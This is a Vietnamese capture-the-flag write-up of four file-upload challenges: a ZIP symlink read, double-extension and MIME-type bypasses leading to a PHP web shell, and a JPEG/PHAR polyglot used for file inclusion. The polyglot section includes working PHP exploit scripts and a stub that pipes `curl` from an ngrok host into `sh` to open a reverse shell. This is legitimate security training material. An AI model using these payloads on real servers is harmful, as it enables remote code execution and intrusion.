# File upload - ZIP

Mục tiêu của challenge là đọc file index.php

Challenge cho phép mình upload một file zip và sau đó giải nén file zip đó luôn cho mình và mình có thể truy cập vào nội dung file zip.

Với một trang web như vậy thì mình hướng tấn công mình nghĩ đến sẽ là Symlink Attack.
Quy trình mình làm:
- Mình sẽ tạo một symlink trỏ đến file mình cần đọc trên victim server.
- Thực hiện zip lại symlink đó.
- Upload lên victim server.
- Đọc file sau khi được server unzip.



Flag: N3v3r_7rU5T_u5Er_1npU7
# File upload - Double extensions

Mục tiêu là đọc file .passwd.

Challenge cho mình upload một file và truy cập đến file đấy. Hướng tấn công sẽ là File Upload ⇒ RCE.


Chỉ có các file với extension là gif, jpeg, png được chấp nhận. ⇒ Mình cần tìm cách bypass extension.

Mình tham khảo hacktricks thì mình tìm thấy thứ này.
https://book.hacktricks.xyz/pentesting-web/file-upload#bypass-file-extensions-checks
```Có thể Apache đã misconfig dẫn đến việc thực thi file .php sẽ được execute chứ không cần kết thúc bởi .php.```


⇒ It works!!!
Mình upload [shell.php](https://github.com/flozz/p0wny-shell/blob/master/shell.php) và RCE.
Thử xem filter bài này

Có dùng hàm end() tuy nhiên lại misconfig của Apache...
# File upload - MIME type

Mục tiêu vẫn là đọc .passwd. Hướng tấn công sẽ là File Upload ⇒ RCE
Như tên challenge cùng với những gì mình đã học thì có thể challenge này sẽ lấy MIME type từ request.
```php
$mime_type = $_FILES["file"]["type"];
if (!in_array($mime_type, ["image/jpeg","image/png","image/gif"])){
die("Hack detected");
}
```
Mình đơn giản là đặt Content-Type header thành image/jpeg là bypass được.

Bypass có vẻ là đơn giản tuy nhiên mình lại không biết upload dir ở đâu. Sẽ ra sao nếu mình gây ra lỗi (trong trường hợp không tắt lỗi), liệu mình sẽ có thông tin upload dir?
Upload thử 1 file với file name `.` (Có thể thay thế bằng việc upload file với tên vượt 255 kí tự, upload `..`,… Mấu chốt vẫn là làm tên file không hợp lệ)

Đã lộ upload dir.


Filter trong challenge này:

# File upload - Polyglot

Challenge này cho phép upload một file ảnh nhưng có validate bằng việc check signature của file

Ngoài ra còn có chức năng thực thi file phar bằng wrapper phar://
Vector bài này ban đầu mình nghĩ là File upload → PHAR deserialize. Tuy nhiên chả có cái gadget nào để chain ở đây cả vì đơn thuần mình chả thể tìm cách để lấy source code. Vì vậy hướng làm ở đây sẽ là File upload → LFI.
Trước tiên, để upload được file mình cần phải upload được một file jpeg với signature của nó. Thứ hai file mình upload phải có định dạng file PHAR nữa để có thể tận dụng wrapper phar://
Dựa trên ý tưởng này mình cần tạo 1 file vừa là PHAR vừa là JPEG. (Tham khảo https://d47sec.wordpress.com/2021/09/02/tim-hieu-ve-polyglot-file/)
Để làm điều này mình tạo ra một đoạn script sau:
```
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'This is a test file.');
$jpeg_stub = "\xFF\xD8" . "JPEG DATA" . "\xFF\xD9" . "<?php phpinfo();__HALT_COMPILER(); ?>";
$phar->setStub($jpeg_stub);
$phar->stopBuffering();
```
Đổi tên exploit.phar thành exploit.jpeg và upload sau đó thực hiện LFI thông qua wrapper **`phar://`**


Thực thi được rồi. Giờ thì RCE:
```php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.php', '<?php phpinfo(); ?>');
$jpeg_stub = "\xFF\xD8" . "JPEG DATA" . "\xFF\xD9" . "<?php system('curl https://reverse-shell.sh/0.tcp.ap.ngrok.io:17114|sh');__HALT_COMPILER(); ?>";
$phar->setStub($jpeg_stub);
$object = new AnyClass('<system("dir")>');
$phar->setMetadata($object);
$phar->stopBuffering();
echo "Exploit PHAR file created as exploit.jpg.phar\n";
rename('exploit.phar', 'exploit.jpg');
```

Bài học rút ra:
---
- Khi mình làm bài này, mình có mắc một sai lầm:
```php
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'This is a test file.');
$jpeg_stub = "\xFF\xD8" . "JPEG DATA" . "\xFF\xD9" . "<?php __HALT_COMPILER();phpinfo(); ?>";
$phar->setStub($jpeg_stub);
$phar->stopBuffering();
```
Khi viết script mình đã viết __HALT_COMPILER() đằng trước phpinfo(); điều này khiến cho việc LFI thất bại mặc dù PHAR File vẫn được chạy qua wrapper.

__HALT_COMPILER() là đứng cuối cho phần mã nguồn chính của PHAR, tức là trước đó sẽ là mã nguồn, mà include() sẽ nhận diện dynamic execution code thông qua tag <?php nên đoạn mã nguồn chính sẽ được thực thi.
